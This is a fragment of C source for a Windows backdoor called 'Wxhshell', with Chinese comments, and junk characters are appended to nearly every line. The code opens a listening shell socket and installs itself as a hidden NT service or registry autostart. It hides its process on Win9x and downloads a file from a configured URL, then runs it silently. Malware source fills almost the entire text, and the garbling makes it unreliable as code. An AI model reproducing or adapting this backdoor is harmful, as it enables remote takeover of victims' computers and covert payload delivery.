ULONG InheritedFromUniqueProcessId; [xZU!=
} PROCESS_BASIC_INFORMATION; [A2`]CE<@
=L-I-e97@
PROCNTQSIP NtQueryInformationProcess; X/0v'N
sLL7]m}
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :aAEJ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `#mK*Buem}
oG oK,
HANDLE hProcess; Shr,#wwM`B
PROCESS_BASIC_INFORMATION pbi; 0?DC00O
K^l:MxO-X
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]wVk+%e
if(NULL == hInst ) return 0; OE`X<h4r
;#/@+4@a&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Xj4|Rw%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #qBr/+b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Cby;?F6w
hT g<*
if (!NtQueryInformationProcess) return 0; *Zk>2<^R
V$`Gwr]|n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u.XQ&
if(!hProcess) return 0; oqd;6[%G
hfWFD,
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &[Xu!LP
(2ot5x}`j
CloseHandle(hProcess); 1{x.xi"A/
:M3oUE{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #6v27:XK
if(hProcess==NULL) return 0; N"tFP9;K
y&~w2{a
HMODULE hMod; ^2D1`,|N
char procName[255]; LkruL_E>
unsigned long cbNeeded; 1$/MrPT(b
(IqZ@->nw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x&sI=5l
C*=Xk/0
CloseHandle(hProcess); 3rW|kkn
CvSIV7zYo
if(strstr(procName,"services")) return 1; // 以服务启动 } p
FQRSOZ
kl!wVLE
return 0; // 注册表启动 5^<h}u9
} h0--B]f@
e~%
;K4
// 主模块 aimarU
int StartWxhshell(LPSTR lpCmdLine) }"vW4
{ r`y ezbG
SOCKET wsl; NL=|z=q
BOOL val=TRUE; |:[tNs*,O
int port=0; :NHH
Dl
struct sockaddr_in door; EF7+ *Q9
x9/H/'
if(wscfg.ws_autoins) Install(); iX u]e;6
_R'Fco
port=atoi(lpCmdLine); ZRxZume<f
00I}o%akO
if(port<=0) port=wscfg.ws_port; Ars687WB
s4Sd>D7
WSADATA data; KH)D08
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LZJA4?C
Ee)[\Qjn
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =L%DX#8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FMNm,O]
door.sin_family = AF_INET; 7Dzuii?1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !-2R;yo12
door.sin_port = htons(port); Nk=JBIsKv
X'. qYsS
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @2pu^k^
closesocket(wsl); C*U'~qRK
return 1; ;k"Bse!/
} iLP7!j
Tus}\0/i>
if(listen(wsl,2) == INVALID_SOCKET) { |b-9b&
closesocket(wsl); `p;eIt
return 1; 4c
oJRqf=
} U~h'*nV&
Wxhshell(wsl); xq-17HKs
WSACleanup(); 7^wc)E^H
~!s-o|N_\
return 0; $vHU$lZ/W
Zfk*HV#\
} R1nJUOE4w^
]{"Br$
// 以NT服务方式启动 LmlXMia
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E$W{8?:{
{ Y2xL>F
DWORD status = 0; @L.82p{h
DWORD specificError = 0xfffffff; Z3>N<u8)
F'g Vzf
serviceStatus.dwServiceType = SERVICE_WIN32; I1[g&9,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; A7(hw~+@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u` oq(?|
serviceStatus.dwWin32ExitCode = 0; `D9]*c
!mO
serviceStatus.dwServiceSpecificExitCode = 0; :4~g;2oag
serviceStatus.dwCheckPoint = 0; ^TMJ8`e
serviceStatus.dwWaitHint = 0; `:P
[SJ6@q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R@Gq)P9?
if (hServiceStatusHandle==0) return; 0ye!R
4}`
status = GetLastError(); R'kyrEO
if (status!=NO_ERROR) (D@A74q\'
{ /R>nr"
serviceStatus.dwCurrentState = SERVICE_STOPPED; MCU_Z[N#10
serviceStatus.dwCheckPoint = 0; *~m+Nc`D,N
serviceStatus.dwWaitHint = 0; 8ElKD{.BU8
serviceStatus.dwWin32ExitCode = status; 8G5Da|\
serviceStatus.dwServiceSpecificExitCode = specificError; zBO(`=|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [((;+B
return; wApMzZ(X2y
} *Z m^
~Vo
)tCX
y4
serviceStatus.dwCurrentState = SERVICE_RUNNING; -n'F v@U
serviceStatus.dwCheckPoint = 0; )c l5B{1P
serviceStatus.dwWaitHint = 0; \~LQ%OM
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZeG_en ;
} :4^\3~i1X
=6aS&B(SN
// 处理NT服务事件,比如:启动、停止 _+
.\@{c
VOID WINAPI NTServiceHandler(DWORD fdwControl) \rVQQ|l
{ 5,)Qw
switch(fdwControl) LH:i| I
{ (`? y2n)~W
case SERVICE_CONTROL_STOP: /y^7p9Z`
serviceStatus.dwWin32ExitCode = 0; ?$e9<lsQq)
serviceStatus.dwCurrentState = SERVICE_STOPPED; VUI|.76g
serviceStatus.dwCheckPoint = 0; tzy'G"P|
serviceStatus.dwWaitHint = 0; )xb|3&+W
{ Rb(SBa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DJP2IP
} -hkQ2[Ew#
return; ""s]zNF}
case SERVICE_CONTROL_PAUSE: b)9'bJRvU
serviceStatus.dwCurrentState = SERVICE_PAUSED; ID.n1i3
break; lN9=TxH1(;
case SERVICE_CONTROL_CONTINUE: c)@>zto#
serviceStatus.dwCurrentState = SERVICE_RUNNING; c5|:,wkx
break; 0\2\*I}?
case SERVICE_CONTROL_INTERROGATE: K\vSB~{[
break; ['%69dPh
}; xoOJauSX1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Q}*+Y]G
} Xn~I=Ml d
$.Q$`/dF
// 标准应用程序主函数 zni)<fmju
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Isx#9C
{ 191&_*Xb
PQ@L+],C
// 获取操作系统版本 kNqH zo
OsIsNt=GetOsVer(); [o*7FEM|<
GetModuleFileName(NULL,ExeFile,MAX_PATH); h^j?01*Et
p$ bnK]
// 从命令行安装 a,78l@d(
if(strpbrk(lpCmdLine,"iI")) Install(); (%O@r!{
l3nrEk
// 下载执行文件 }8;[O
9
if(wscfg.ws_downexe) { V'w@rc\XN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1Z{ZV.!
WinExec(wscfg.ws_filenam,SW_HIDE); lC=~$c:
} ;(}V"i7Hu
5wUUx#
if(!OsIsNt) { ?8W("W
// 如果时win9x,隐藏进程并且设置为注册表启动 %r4q8-
HideProc(); "QvmqI>
StartWxhshell(lpCmdLine); ~q&pF"va8
} :{(w3<i
else ~^+0
if(StartFromService()) Gn;@{x6
// 以服务方式启动 nNXgW
StartServiceCtrlDispatcher(DispatchTable); N25V]
else '_b.\_s-d
// 普通方式启动 m~uOXb
StartWxhshell(lpCmdLine); Y<0 4RV
xnE|Umz
return 0; HNL42\Kz!
}